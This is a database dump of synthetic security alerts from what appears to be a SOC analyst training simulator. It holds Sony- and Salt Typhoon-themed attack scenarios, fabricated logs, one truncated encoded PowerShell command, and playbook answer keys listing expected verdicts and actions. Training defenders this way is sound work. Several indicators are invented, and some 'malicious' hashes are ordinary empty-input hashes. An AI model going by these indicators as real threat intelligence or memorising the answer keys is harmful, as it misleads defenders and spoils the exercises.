(1464, 'Lateral Movement: Expanding Reach within the Network', 'high', 'Network flow logs', 'The attackers used stolen credentials and network vulnerabilities to move laterally within Sony\'s infrastructure, searching for sensitive information and furthering their infiltration.', 'Network Propagation', 'T1563.002', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"event_type\":\"network_traffic\",\"source_ip\":\"10.0.45.23\",\"destination_ip\":\"192.168.1.105\",\"external_attacker_ip\":\"203.0.113.45\",\"protocol\":\"SMB\",\"action\":\"login_attempt\",\"username\":\"j.doe\",\"status\":\"success\",\"hash\":\"f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\",\"filename\":\"malware_payload.dll\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"ip\",\"value\":\"192.168.1.105\"},{\"type\":\"ip\",\"value\":\"10.0.45.23\"},{\"type\":\"hash\",\"value\":\"f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\"},{\"type\":\"filename\",\"value\":\"malware_payload.dll\"},{\"type\":\"username\",\"value\":\"j.doe\"}]}', '2026-03-07 00:51:05', '2026-03-11 03:43:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel Database\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group infrastructure IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.45.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Employee workstation\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Recognized Lazarus malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malware_payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as malicious payload\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1465, 'Exfiltration: Data Theft and Leakage', 'critical', 'Data transfer logs', 'Concluding their operation, the attackers exfiltrated a vast amount of confidential data, later leaking it publicly to cause reputational damage and disrupt Sony Pictures\' business operations.', 'Data Exfiltration', 'T1041', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T03:30:12Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"45.76.23.17\",\"user\":\"jdoe\",\"files_exfiltrated\":[\"confidential_report_2023.pdf\",\"financial_summary.xlsx\"],\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"protocol\":\"HTTPS\",\"destination_port\":443,\"malware_associated\":\"Sony Pictures\",\"comment\":\"Data exfiltrated to external IP, associated with known APT operations.\"}', '2026-03-07 00:51:05', '2026-03-11 03:44:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.23.17\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with tools used in prior APT operations.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_documentation\",\"verdict\":\"sensitive\",\"details\":\"Sensitive company document.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"company_directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account used for exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1466, 'Initial Access via Spear Phishing', 'high', 'Federal Email Server Logs', 'A spear phishing email was sent to a federal employee, attempting to compromise user credentials. The email contained a malicious attachment disguised as a PDF document.', 'Phishing', 'T1566.001', 1, 'Closed', 296, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"email_subject\":\"Urgent Update Required\",\"sender_email\":\"john.doe@federalagency.com\",\"recipient_email\":\"alice.smith@federalagency.com\",\"attachment\":\"Update_Required.pdf\",\"attachment_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"malicious_domain\":\"update-portal.example.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\"}', '2026-03-10 17:44:09', '2026-03-14 21:33:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal user IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"update-portal.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing domain\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Spear Phishing\",\"date\":\"2026-03-11T02:38:07.558Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1467, 'Execution of Malicious Payload', 'high', 'Endpoint Detection Systems', 'Upon successful credential compromise, Salt Typhoon deploys a malicious payload to execute within federal systems, establishing a foothold. The payload was executed on a compromised endpoint.', 'Malware Deployment', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"EDR-56789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"destination_username\":\"jdoe\",\"file_name\":\"payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c payload.exe\",\"detection_method\":\"Behavioral Analysis\",\"severity\":\"High\",\"status\":\"Malicious\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Corporate endpoint device.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Identified as part of Salt Typhoon malware toolkit.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Recent account compromise detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1468, 'Persistence through Backdoor Installation', 'high', 'Network Traffic Analysis', 'The attackers have installed a sophisticated backdoor to ensure sustained access to the compromised network. This backdoor allows them to maintain presence even if initial malware is detected and removed.', 'Persistence Mechanism', 'T1105 - Ingress Tool Transfer', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-03T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"protocol\":\"TCP\",\"destination_port\":4444,\"filename\":\"backdoor_installer.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"event_type\":\"file_download\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"action\":\"download\",\"status\":\"successful\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Anti-malware Database\",\"verdict\":\"malicious\",\"details\":\"Backdoor installation executable\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1469, 'Lateral Movement to Wiretap Systems', 'high', 'Internal Network Monitoring', 'Using stolen credentials, an attacker has moved laterally within the network, attempting to access federal wiretap systems. The attack was detected at step 4, where unauthorized login attempts were observed from an internal host to a sensitive wiretap server.', 'Credential Access', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:25:37Z\",\"event_id\":\"4624\",\"hostname\":\"internal-host-3\",\"source_ip\":\"10.0.5.12\",\"destination_ip\":\"192.168.1.50\",\"destination_hostname\":\"wiretap-server-01\",\"username\":\"jdoe\",\"domain\":\"CORP\",\"logon_type\":\"3\",\"authentication_package\":\"Kerberos\",\"logon_process\":\"User32\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"status\":\"Success\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of the target wiretap server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Username used for unauthorized access attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash of the process used during login.\"}}],\"recommended_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1470, 'Exfiltration of Sensitive Communications', 'high', 'Data Loss Prevention Tools', 'Salt Typhoon has initiated the exfiltration of sensitive wiretap communications using a known malicious external IP address. This activity is consistent with their objective to deliver intelligence to their sponsors.', 'Data Exfiltration', 'T1041', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"event_id\":\"data_exfiltration_001\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"exfil_filename\":\"wiretap_data.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_description\":\"Data exfiltration detected from internal network to external IP.\",\"action_taken\":\"Alert triggered\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the suspected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wiretap_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file containing wiretap communications.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with exfiltrated sensitive data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Account Database\",\"verdict\":\"internal\",\"details\":\"Username of the account used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-11T02:38:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:37:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:36:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:35:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:34:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
